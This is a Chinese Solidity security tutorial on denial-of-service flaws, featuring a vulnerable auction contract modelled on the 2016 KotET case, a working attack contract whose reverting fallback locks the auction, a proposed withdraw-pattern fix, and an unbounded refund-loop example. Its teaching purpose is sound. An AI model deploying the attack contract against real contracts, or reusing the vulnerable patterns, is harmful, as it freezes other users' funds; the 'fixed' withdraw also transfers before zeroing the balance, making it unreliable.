1. 程式人生 > >solidity智慧合約[51]-安全—dos***

solidity智慧合約[51]-安全—dos***

Dos***

dos***也叫做拒絕服務***,通過使程式操作無效完成***的目的。

下面的一段合約是2016年KotET(“紛爭時代”)合約,其遭受了dos***。本小節將揭開此合約被***的祕密。

原始碼

在下面KotET合約程式碼中,模擬了爭奪皇位的功能。只有出價最高的人才能夠奪得桂冠。 合約中的bid方法正是最核心的競價合約。只有當msg.value即附帶的以太幣大於當前最大的出價人,就會首先將從前的最高價格轉移給從前的出價人。完成之後,新的價格和資金會替換掉舊的資金。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pragma solidity ^0.4
.23;

contract Auction{
   address public currentLeader; //當前最高出價人
   uint256 public highestBid;  //當前最高價格
   mapping(address=>uint) balance;  //資金錶

   //競價合約
   function bid() public payable{
       require(msg.value >highestBid);

       require(currentLeader.send(highestBid));

       currentLeader = msg.sender;
       highestBid= msg.value;
   }
}

***合約

下面是******的合約。***手法為:首先部署POC合約。假設為0x3456 將Auction合約的地址傳遞給setInstance,構建auInstance介面例項。從而能夠在外部呼叫合約。執行attack方法,附帶以太坊,例如100wei。假設還沒有進行過拍賣,那麼當前的最高出價地址為當前合約,最高價格為100wei。假設有另外一個人想爭奪皇位,其出價了200wei 呼叫了Auction合約的bid方法。雖然其價格最高,但是這筆操作不能成功。原因就在於currentLeader.send(highestBid)轉賬,如果是合約地址,會呼叫合約中自定義的回撥函式,而在當前案例中的回撥函式,revert()意味著操作回滾,不成功。因此始終沒有辦法將錢還給合約,此合約將霸佔王位。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
pragma solidity ^0.4.23;
interface Auction{

   function bid() external payable;
}
contract POC{

   address owner;
   Auction auInstance;
   constructor() public{
       owner = msg.sender;
   }

   modifier onlyOwner(){
       require(owner==msg.sender);
       _;
   }

   function setInstance(address addr) public onlyOwner{
       auInstance = Auction(addr);
   }
   function attack() public payable onlyOwner{
       auInstance.bid.value(msg.value)();
   }


   function() external payable{
       revert();
   }
}

解決辦法

讓使用者自己去取錢,而不是自動的轉移資金到失敗者的賬戶中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pragma solidity ^0.4.23;
contract Auction{
   address public currentLeader;
   uint256 public highestBid;
   //儲存金額
   mapping(address=>uint) public balance;
   function bid() public payable{
       require(msg.value >highestBid);
       balance[currentLeader] = highestBid;
       currentLeader = msg.sender;
       highestBid= msg.value;
   }
   //使用者提錢
   function withdraw() public{

       require(balance[msg.sender]!=0);

       msg.sender.transfer(balance[msg.sender]);
       balance[msg.sender] = 0;
   }
}

dos***案例2

dos***的第二個例子是,謹慎的使用迴圈。

如下,refundAll方法為動態陣列refundAddresses中每一個賬戶轉移資金。由於refundAddresses長度不確定。一旦超過了以太坊gaslimit的限制,就會導致這筆操作不能夠成功。

對可以被外部使用者人為操縱的資料結構進行批量操作,建議使用取回模式而不是傳送模式,每個投資者可以使用withdrawFunds取回自己應得的代幣。
如果實在必須通過遍歷一個變長陣列來進行轉賬,最好估計完成它們大概需要多少個區塊以及多少筆交易。

下面合約的第二個錯誤在於,一旦某一個賬戶轉賬不成功,就會導致所以交易回滾,全部失敗。

1
2
3
4
5
6
7
8
9
address[] private refundAddresses;
mapping (address => uint) public refunds;


function refundAll() public {
   for(uint x; x < refundAddresses.length; x++) {
       require(refundAddresses[x].send(refunds[refundAddresses[x]]))
   }
}

參考資料

https://consensys.github.io

image.png